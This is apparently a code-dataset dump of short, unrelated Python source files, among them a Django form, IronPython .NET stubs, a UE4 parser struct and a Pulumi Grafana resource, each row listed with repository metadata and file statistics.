def __repr__(self):
return "<Store %r>" % self.__dict__
__str__ = __repr__
| 20.915789 | 85 | 0.572219 | 234 | 1,987 | 4.363248 | 0.32906 | 0.117532 | 0.123408 | 0.088149 | 0.062684 | 0.062684 | 0.062684 | 0 | 0 | 0 | 0 | 0.002888 | 0.302969 | 1,987 | 94 | 86 | 21.138298 | 0.734296 | 0.19225 | 0 | 0 | 0 | 0 | 0.012378 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.404255 | false | 0 | 0.021277 | 0.255319 | 0.787234 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
5199971ef7967614dfb2e5ce751de5f42b8d27c2 | 204 | py | Python | assistant/forms.py | RiadSaidur/django-hospitals | 11a3022d4cbf6a67bfce65a32de47204d6362f51 | [
"MIT"
] | 1 | 2020-03-22T13:20:32.000Z | 2020-03-22T13:20:32.000Z | assistant/forms.py | RiadSaidur/django-hospitals | 11a3022d4cbf6a67bfce65a32de47204d6362f51 | [
"MIT"
] | 8 | 2021-03-30T12:54:35.000Z | 2021-09-26T07:28:01.000Z | assistant/forms.py | RiadSaidur/django-hospitals | 11a3022d4cbf6a67bfce65a32de47204d6362f51 | [
"MIT"
] | null | null | null | from django import forms
# model
from patient.models import Request
class RequestApproveForm(forms.ModelForm):
class Meta:
model = Request
fields = ["confirmed"]
# fields = "__all__"
| 17 | 42 | 0.696078 | 22 | 204 | 6.272727 | 0.681818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.220588 | 204 | 11 | 43 | 18.545455 | 0.867925 | 0.117647 | 0 | 0 | 0 | 0 | 0.050847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
51b8c45d57e0eee325c252fe858686fbb59f637a | 326 | py | Python | detectors/__init__.py | bc-jcarlson/secret-bridge | 3aef518143fd29b8b0f12a13a7ecf175f63a397b | [
"BSD-3-Clause"
] | 152 | 2019-09-25T15:08:16.000Z | 2022-03-31T03:34:36.000Z | detectors/__init__.py | bc-jcarlson/secret-bridge | 3aef518143fd29b8b0f12a13a7ecf175f63a397b | [
"BSD-3-Clause"
] | 23 | 2019-09-30T11:04:10.000Z | 2022-02-23T18:44:46.000Z | detectors/__init__.py | jhabikal21/secret-bridge | 4be6d1914928fadbd8f3ef2c2dc9a66535fe674b | [
"BSD-3-Clause"
] | 43 | 2019-09-25T16:57:04.000Z | 2021-11-25T05:21:16.000Z | from detectors.detectsecrets import DetectSecrets
from detectors.gitsecrets import GitSecrets
from detectors.trufflehog import TruffleHog
# TODO: Turn this into a registry to match the notifiers pattern?
AvailableDetectors = {
'detect-secrets': DetectSecrets,
'git-secrets': GitSecrets,
'trufflehog': TruffleHog
}
| 32.6 | 65 | 0.791411 | 35 | 326 | 7.371429 | 0.6 | 0.151163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141104 | 326 | 9 | 66 | 36.222222 | 0.921429 | 0.193252 | 0 | 0 | 0 | 0 | 0.1341 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
51ba19c075b1bd6dd872d7b78548f7b40c2a731c | 3,653 | py | Python | release/stubs.min/System/Windows/Controls/__init___parts/ItemContainerGenerator.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/System/Windows/Controls/__init___parts/ItemContainerGenerator.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/System/Windows/Controls/__init___parts/ItemContainerGenerator.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | class ItemContainerGenerator(
object,
IRecyclingItemContainerGenerator,
IItemContainerGenerator,
IWeakEventListener,
):
""" Generates the user interface (UI) on behalf of its host,such as an�System.Windows.Controls.ItemsControl. """
def ContainerFromIndex(self, index):
"""
ContainerFromIndex(self: ItemContainerGenerator,index: int) -> DependencyObject
Returns the element corresponding to the item at the given index within the
System.Windows.Controls.ItemCollection.
index: The index of the desired item.
Returns: Returns the element corresponding to the item at the given index within the
System.Windows.Controls.ItemCollection or returns null if the item is not realized.
"""
pass
def ContainerFromItem(self, item):
"""
ContainerFromItem(self: ItemContainerGenerator,item: object) -> DependencyObject
Returns the System.Windows.UIElement corresponding to the given item.
item: The System.Object item to find the System.Windows.UIElement for.
Returns: A System.Windows.UIElement that corresponds to the given item. Returns null if the item does not
belong to the item collection,or if a System.Windows.UIElement has not been generated for it.
"""
pass
def GenerateBatches(self):
""" GenerateBatches(self: ItemContainerGenerator) -> IDisposable """
pass
def IndexFromContainer(self, container, returnLocalIndex=None):
"""
IndexFromContainer(self: ItemContainerGenerator,container: DependencyObject,returnLocalIndex: bool) -> int
IndexFromContainer(self: ItemContainerGenerator,container: DependencyObject) -> int
Returns the index to an item that corresponds to the specified,generated
System.Windows.UIElement.
container: The System.Windows.DependencyObject that corresponds to the item to the index to be returned.
Returns: An System.Int32 index to an item that corresponds to the specified,generated
System.Windows.UIElement or -1 if container is not found.
"""
pass
def ItemFromContainer(self, container):
"""
ItemFromContainer(self: ItemContainerGenerator,container: DependencyObject) -> object
Returns the item that corresponds to the specified,generated System.Windows.UIElement.
container: The System.Windows.DependencyObject that corresponds to the item to be returned.
Returns: A System.Windows.DependencyObject that is the item which corresponds to the specified,generated
System.Windows.UIElement. If the System.Windows.UIElement has not been generated,
System.Windows.DependencyProperty.UnsetValue is returned.
"""
pass
def __init__(self, *args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __repr__(self, *args):
""" __repr__(self: object) -> str """
pass
Items = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Get: Items(self: ItemContainerGenerator) -> ReadOnlyCollection[object]
"""
Status = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""The generation status of the System.Windows.Controls.ItemContainerGenerator.
Get: Status(self: ItemContainerGenerator) -> GeneratorStatus
"""
ItemsChanged = None
StatusChanged = None
| 29.224 | 221 | 0.697235 | 397 | 3,653 | 6.297229 | 0.24937 | 0.0884 | 0.0792 | 0.048 | 0.43 | 0.3588 | 0.3588 | 0.326 | 0.3036 | 0.3036 | 0.000274 | 0.001059 | 0.224473 | 3,653 | 124 | 222 | 29.459677 | 0.881045 | 0.643033 | 0 | 0.291667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291667 | false | 0.291667 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
51cc4cf728d75c828633a0e56f07238bcecfa0ab | 672 | py | Python | mbzextract/plugins/skeleton/module_name.py | davidschlachter/mbzextract | c6124e6ac08c31818af545323202dc2768497813 | [
"MIT"
] | 2 | 2017-06-01T21:04:53.000Z | 2020-09-14T15:52:30.000Z | mbzextract/plugins/skeleton/module_name.py | davidschlachter/mbzextract | c6124e6ac08c31818af545323202dc2768497813 | [
"MIT"
] | 5 | 2015-11-10T19:23:31.000Z | 2015-11-25T23:55:48.000Z | mbzextract/plugins/skeleton/module_name.py | ocdude/moodle2-data-extractor | fc01cbfc740f4ee41f778640c18a3db9bb11bde9 | [
"MIT"
] | 2 | 2019-05-18T11:11:18.000Z | 2020-09-14T15:54:31.000Z | """Basic template for creating new plugins.
A basic plugin should have at the very minimum a class called 'moodle_module',
with an '__init__(self, **kwargs)' method that populates a table in the temporary
backup database with the structure of the module it is attempting to extract, a
parse method that parses the backup xml file for the module, and an extract method
that does the actual extraction of the contents of the module, whatever it may be.
The very minimum imports should be os and shutil.
"""
import os
import shutil
class moodle_module:
def __init__(self,**kwargs):
pass
def parse(self):
pass
def extract(self):
pass
| 28 | 82 | 0.736607 | 106 | 672 | 4.575472 | 0.528302 | 0.061856 | 0.057732 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.21131 | 672 | 23 | 83 | 29.217391 | 0.915094 | 0.74256 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0.222222 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
51d1f5509211084832acb8e2c8c5f7a69ac3df76 | 579 | py | Python | npc_engine/services/text_generation/__init__.py | npc-engine/npc-engine | 0047794e96369c23515f794a1e77009c516a382c | [
"MIT"
] | 12 | 2021-11-10T21:03:19.000Z | 2022-03-21T21:55:34.000Z | npc_engine/services/text_generation/__init__.py | npc-engine/npc-engine | 0047794e96369c23515f794a1e77009c516a382c | [
"MIT"
] | 1 | 2021-12-05T14:51:44.000Z | 2021-12-05T14:51:44.000Z | npc_engine/services/text_generation/__init__.py | npc-engine/npc-engine | 0047794e96369c23515f794a1e77009c516a382c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Text generation API services.
This module implements specific models and wraps them under
the common interface for loading and inference.
Example:
```
from npc_engine.services.text_generation import TextGenerationAPI
model = TextGenerationAPI.load("path/to/model_dir")
model.generate_reply(context, temperature=0.8, topk=None,)
```
"""
from .text_generation_base import TextGenerationAPI # noqa: F401
from .hf_text_generation import HfChatbot # noqa: F401
from .bart import BartChatbot # noqa: F401
| 34.058824 | 74 | 0.715026 | 70 | 579 | 5.8 | 0.671429 | 0.137931 | 0.098522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025751 | 0.195164 | 579 | 16 | 75 | 36.1875 | 0.845494 | 0.727116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
a40542ebea8665b137335fe128377d7f95c37f2c | 1,631 | py | Python | stubs.min/System/__init___parts/Object.py | ricardyn/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | 1 | 2021-02-02T13:39:16.000Z | 2021-02-02T13:39:16.000Z | stubs.min/System/__init___parts/Object.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | stubs.min/System/__init___parts/Object.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | class Object:
"""
Supports all classes in the .NET Framework class hierarchy and provides low-level services to derived classes. This is the ultimate base class of all classes in the .NET Framework; it is the root of the type hierarchy.
object()
"""
def __delattr__(self,*args):
""" __delattr__(self: object,name: str) """
pass
def __format__(self,*args):
""" __format__(self: object,formatSpec: str) -> str """
pass
def __getattribute__(self,*args):
""" __getattribute__(self: object,name: str) -> object """
pass
def __hash__(self,*args):
""" x.__hash__() <==> hash(x) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
@staticmethod
def __new__(self):
"""
__new__(cls: type,**kwargs�: dict,*args�: Array[object]) -> object
__new__(cls: type,*args�: Array[object]) -> object
__new__(cls: type) -> object
"""
pass
def __reduce_ex__(self,*args):
pass
def __reduce__(self,*args):
""" helper for pickle """
pass
def __repr__(self,*args):
""" __repr__(self: object) -> str """
pass
def __setattr__(self,*args):
""" __setattr__(self: object,name: str,value: object) """
pass
def __sizeof__(self,*args):
""" __sizeof__(self: object) -> int """
pass
def __str__(self,*args):
pass
def __subclasshook__(self,*args):
""" __subclasshook__(*args: Array[object]) -> NotImplementedType """
pass
__class__=None
| 31.980392 | 221 | 0.6542 | 204 | 1,631 | 4.573529 | 0.308824 | 0.102894 | 0.045016 | 0.054662 | 0.247588 | 0.247588 | 0.189711 | 0.189711 | 0.121115 | 0.121115 | 0.001839 | 0 | 0.187615 | 1,631 | 50 | 222 | 32.62 | 0.701887 | 0.579399 | 0 | 0.448276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.448276 | false | 0.448276 | 0 | 0 | 0.517241 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
cf8b19fbe5f731f22b00f0e8cbf2dacf2cbb775f | 243 | py | Python | LSTMText/utils.py | Cristina-cxq/models-1 | b1acb2ee66900bd4be36e41d36aa407a04b5b3ac | [
"Apache-2.0"
] | null | null | null | LSTMText/utils.py | Cristina-cxq/models-1 | b1acb2ee66900bd4be36e41d36aa407a04b5b3ac | [
"Apache-2.0"
] | null | null | null | LSTMText/utils.py | Cristina-cxq/models-1 | b1acb2ee66900bd4be36e41d36aa407a04b5b3ac | [
"Apache-2.0"
] | null | null | null | """
imdb dataset saved in https://github.com/Oneflow-Inc/models/imdb
"""
import sys
sys.path.append("../")
from imdb.utils import pad_sequences, load_imdb_data, colored_string
__all__ = ["pad_sequences", "load_imdb_data", "colored_string"]
| 22.090909 | 68 | 0.748971 | 35 | 243 | 4.857143 | 0.657143 | 0.141176 | 0.188235 | 0.235294 | 0.435294 | 0.435294 | 0.435294 | 0 | 0 | 0 | 0 | 0 | 0.098765 | 243 | 10 | 69 | 24.3 | 0.776256 | 0.263374 | 0 | 0 | 0 | 0 | 0.25731 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
cf8eec3c909d7c269516f865d5a681fbefe44e6f | 297 | py | Python | app/feature/get_details/service.py | KatlehoGxagxa/kk_secure | 043dfbe9511a3b950686240ae36a6e676b009390 | [
"MIT"
] | null | null | null | app/feature/get_details/service.py | KatlehoGxagxa/kk_secure | 043dfbe9511a3b950686240ae36a6e676b009390 | [
"MIT"
] | null | null | null | app/feature/get_details/service.py | KatlehoGxagxa/kk_secure | 043dfbe9511a3b950686240ae36a6e676b009390 | [
"MIT"
] | null | null | null | from app.db_models.models import userModel
from sqlalchemy.orm import session
from app.db_models import Session
from app.db_models.users import User
import math
class get_details():
def __init__(self, inputs: userModel):
self.__inputs = inputs
self.session = Session()
| 21.214286 | 42 | 0.737374 | 41 | 297 | 5.097561 | 0.463415 | 0.100478 | 0.129187 | 0.215311 | 0.267943 | 0.267943 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195286 | 297 | 13 | 43 | 22.846154 | 0.874477 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.555556 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
5c62dc56ece7620a65aca836edbd7df4ee9b5ef1 | 245 | py | Python | genderdecoder/__init__.py | sagahansson/genderdecoder | db18f51c8a3708aac9f4ba5d71e4c8f78df33257 | [
"MIT"
] | null | null | null | genderdecoder/__init__.py | sagahansson/genderdecoder | db18f51c8a3708aac9f4ba5d71e4c8f78df33257 | [
"MIT"
] | null | null | null | genderdecoder/__init__.py | sagahansson/genderdecoder | db18f51c8a3708aac9f4ba5d71e4c8f78df33257 | [
"MIT"
] | null | null | null | import sys
import os
current_dir = os.getcwd()
sys.path.append(current_dir + "/genderdecoder/genderdecoder")
from assess import assess, assess_v2, assess_v3
from wordlists import feminine_coded_words
from wordlists import masculine_coded_words
| 27.222222 | 61 | 0.836735 | 35 | 245 | 5.628571 | 0.514286 | 0.101523 | 0.192893 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009091 | 0.102041 | 245 | 8 | 62 | 30.625 | 0.886364 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 0.114286 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.714286 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
5cb08180d3e03612a7b3aec37914002eb797ce9e | 261 | py | Python | simianpy/io/trodes/__init__.py | jselvan/simianpy | 5b2b162789e11bc89ca2179358ab682269e7df15 | [
"MIT"
] | null | null | null | simianpy/io/trodes/__init__.py | jselvan/simianpy | 5b2b162789e11bc89ca2179358ab682269e7df15 | [
"MIT"
] | null | null | null | simianpy/io/trodes/__init__.py | jselvan/simianpy | 5b2b162789e11bc89ca2179358ab682269e7df15 | [
"MIT"
] | null | null | null | from .io import Trodes
def infer_session_name(path):
matches = list(path.glob('*.raw'))
if matches:
session_name = matches[0].stem.replace('.raw','')
return session_name
else:
raise ValueError('Could not infer session name') | 29 | 57 | 0.64751 | 34 | 261 | 4.852941 | 0.676471 | 0.266667 | 0.193939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004951 | 0.226054 | 261 | 9 | 58 | 29 | 0.811881 | 0 | 0 | 0 | 0 | 0 | 0.141221 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7a2ce153b4cd45d584ee454d5eb65e0e47462daa | 168 | py | Python | backend/app/paste/schemas/paste_schema.py | d4sein/Pastebin | ffe57809f5383696ea6055743755da01d7e6130c | [
"Unlicense"
] | 3 | 2020-01-02T23:43:35.000Z | 2020-11-11T10:40:42.000Z | backend/app/paste/schemas/paste_schema.py | d4sein/Pastebin | ffe57809f5383696ea6055743755da01d7e6130c | [
"Unlicense"
] | 2 | 2021-10-06T09:03:47.000Z | 2022-02-18T17:10:26.000Z | backend/app/paste/schemas/paste_schema.py | d4sein/Pastebin | ffe57809f5383696ea6055743755da01d7e6130c | [
"Unlicense"
] | 2 | 2020-01-07T15:54:49.000Z | 2020-01-09T00:57:19.000Z | from app import ma
from app.paste.models.paste_model import Paste
class PasteSchema(ma.ModelSchema):
class Meta:
model = Paste
include_fk = True
| 16.8 | 46 | 0.696429 | 23 | 168 | 5 | 0.608696 | 0.121739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244048 | 168 | 9 | 47 | 18.666667 | 0.905512 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
7a2d4709f847bfae9973773e6b771f2d944d8f6a | 408 | py | Python | UE4Parse/IO/IoObjects/FIoDirectoryIndexEntry.py | MinshuG/pyUE4Parse | 96cda8132ff423bd36be20828025c2c1c0a7e406 | [
"MIT"
] | 13 | 2021-06-09T09:21:00.000Z | 2022-03-30T22:13:24.000Z | UE4Parse/IO/IoObjects/FIoDirectoryIndexEntry.py | MinshuG/pyUE4Parse | 96cda8132ff423bd36be20828025c2c1c0a7e406 | [
"MIT"
] | 3 | 2021-09-04T22:23:02.000Z | 2022-03-04T09:45:45.000Z | UE4Parse/IO/IoObjects/FIoDirectoryIndexEntry.py | MinshuG/pyUE4Parse | 96cda8132ff423bd36be20828025c2c1c0a7e406 | [
"MIT"
] | 6 | 2021-09-02T10:28:21.000Z | 2022-03-30T22:13:37.000Z | from UE4Parse.BinaryReader import BinaryStream
class FIoDirectoryIndexEntry:
Name: int
FirstChildEntry: int
NextSiblingEntry: int
FirstFileEntry: int
def __init__(self, reader: BinaryStream):
self.Name = reader.readUInt32()
self.FirstChildEntry = reader.readUInt32()
self.NextSiblingEntry = reader.readUInt32()
self.FirstFileEntry = reader.readUInt32()
| 27.2 | 51 | 0.715686 | 36 | 408 | 8 | 0.472222 | 0.222222 | 0.208333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027864 | 0.208333 | 408 | 14 | 52 | 29.142857 | 0.863777 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.090909 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
7a34585cee5f6c6c91b2cf53bed30b1788441684 | 1,576 | py | Python | Week 3/ex2/courses/course.py | rmit-s3559384-andrew-alvaro/IoT | ec444d0b037ddbd2e3aab01c34ea57fd2bd51d5f | [
"MIT"
] | null | null | null | Week 3/ex2/courses/course.py | rmit-s3559384-andrew-alvaro/IoT | ec444d0b037ddbd2e3aab01c34ea57fd2bd51d5f | [
"MIT"
] | 1 | 2021-06-01T23:39:58.000Z | 2021-06-01T23:39:58.000Z | Week 3/ex2/courses/course.py | AndrewAlvaro/IoT | ec444d0b037ddbd2e3aab01c34ea57fd2bd51d5f | [
"MIT"
] | null | null | null | from abc import ABC, ABCMeta, abstractmethod
class Course(ABC):
def __init__(self, id, name, teacherName, students):
super().__init__()
self.__id = id
self.__name = name
self.__teacherName = teacherName
self.__students = students if students is not None else set()
def getID(self):
return self.__id
def getName(self):
return self.__name
def getTeacherName(self):
return self.__teacherName
def setTeacherName(self, teacherName):
self.__teacherName = teacherName
def getStudents(self):
return self.__students
def cost(self):
return self.flatCost() + self.costPerStudent() * len(self.__students)
def income(self):
return len(self.__students) * self.feePerStudent()
def addStudent(self, studentID):
if(len(self.__students) >= self.maximumStudentsAllowed() or studentID in self.__students):
return False
self.__students.add(studentID)
return True
def __str__(self):
return "Course ID {}, Course Name: {}, Teacher Name: {}, Cost: ${}, Income: ${}, Student Count: {}". \
format(self.__id, self.__name, self.__teacherName, self.cost(), self.income(), len(self.__students))
@abstractmethod
def flatCost(self):
pass
@abstractmethod
def costPerStudent(self):
pass
@abstractmethod
def feePerStudent(self):
pass
@abstractmethod
def maximumStudentsAllowed(self):
pass
| 27.649123 | 111 | 0.614213 | 159 | 1,576 | 5.786164 | 0.295597 | 0.104348 | 0.076087 | 0.081522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.284898 | 1,576 | 56 | 112 | 28.142857 | 0.816327 | 0 | 0 | 0.238095 | 0 | 0.02381 | 0.059211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.095238 | 0.02381 | 0.166667 | 0.595238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 3 |
7a5aa6189fc8e42cc3bd513c379d34e07b3d5263 | 189 | py | Python | Curso de Cisco/Actividades/Operaciones con cadenas - min().py | tomasfriz/Curso-de-Cisco | a50ee5fa96bd86d468403e29ccdc3565a181af60 | [
"MIT"
] | null | null | null | Curso de Cisco/Actividades/Operaciones con cadenas - min().py | tomasfriz/Curso-de-Cisco | a50ee5fa96bd86d468403e29ccdc3565a181af60 | [
"MIT"
] | null | null | null | Curso de Cisco/Actividades/Operaciones con cadenas - min().py | tomasfriz/Curso-de-Cisco | a50ee5fa96bd86d468403e29ccdc3565a181af60 | [
"MIT"
] | null | null | null | # Demonstrando min() - Ejemplo 1
print(min("aAbByYzZ"))
# Demonstrando min() - Examplos 2 y 3
t = 'Los Caballeros Que Dicen "¡Ni!"'
print('[' + min(t) + ']')
t = [0, 1, 2]
print(min(t)) | 18.9 | 37 | 0.587302 | 31 | 189 | 3.645161 | 0.612903 | 0.212389 | 0.159292 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038961 | 0.185185 | 189 | 10 | 38 | 18.9 | 0.681818 | 0.349206 | 0 | 0 | 0 | 0 | 0.341667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.6 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
7a5fee112f902807e76829aa201549d3ad0aaa04 | 8,247 | py | Python | sdk/python/pulumi_grafana/organization.py | mazamats/pulumi-grafana | f7bbcbcd386a523e96862bf140e3fd31879885a4 | [
"ECL-2.0",
"Apache-2.0"
] | 7 | 2019-12-06T16:29:04.000Z | 2022-03-09T03:10:14.000Z | sdk/python/pulumi_grafana/organization.py | mazamats/pulumi-grafana | f7bbcbcd386a523e96862bf140e3fd31879885a4 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_grafana/organization.py | mazamats/pulumi-grafana | f7bbcbcd386a523e96862bf140e3fd31879885a4 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from . import utilities, tables
class Organization(pulumi.CustomResource):
admin_user: pulumi.Output[str]
admins: pulumi.Output[list]
"""
A list of email addresses corresponding to users who
should be given `admin` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
"""
create_users: pulumi.Output[bool]
"""
Whether or not to create Grafana users specified
in the organization's membership if they don't already exist in Grafana. If
unspecified, this parameter defaults to `true`, creating placeholder users
with the `name`, `login`, and `email` set to the email of the user, and a
random password. Setting this option to `false` will cause an error to be
thrown for any users that do not already exist in Grafana.
"""
editors: pulumi.Output[list]
"""
A list of email addresses corresponding to users who
should be given `editor` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
"""
name: pulumi.Output[str]
"""
The display name for the Grafana organization created.
"""
org_id: pulumi.Output[float]
"""
The organization id assigned to this organization by Grafana.
"""
viewers: pulumi.Output[list]
"""
A list of email addresses corresponding to users who
should be given `viewer` access to the organization. Note: users specified
here must already exist in Grafana unless 'create_users' is set to true.
"""
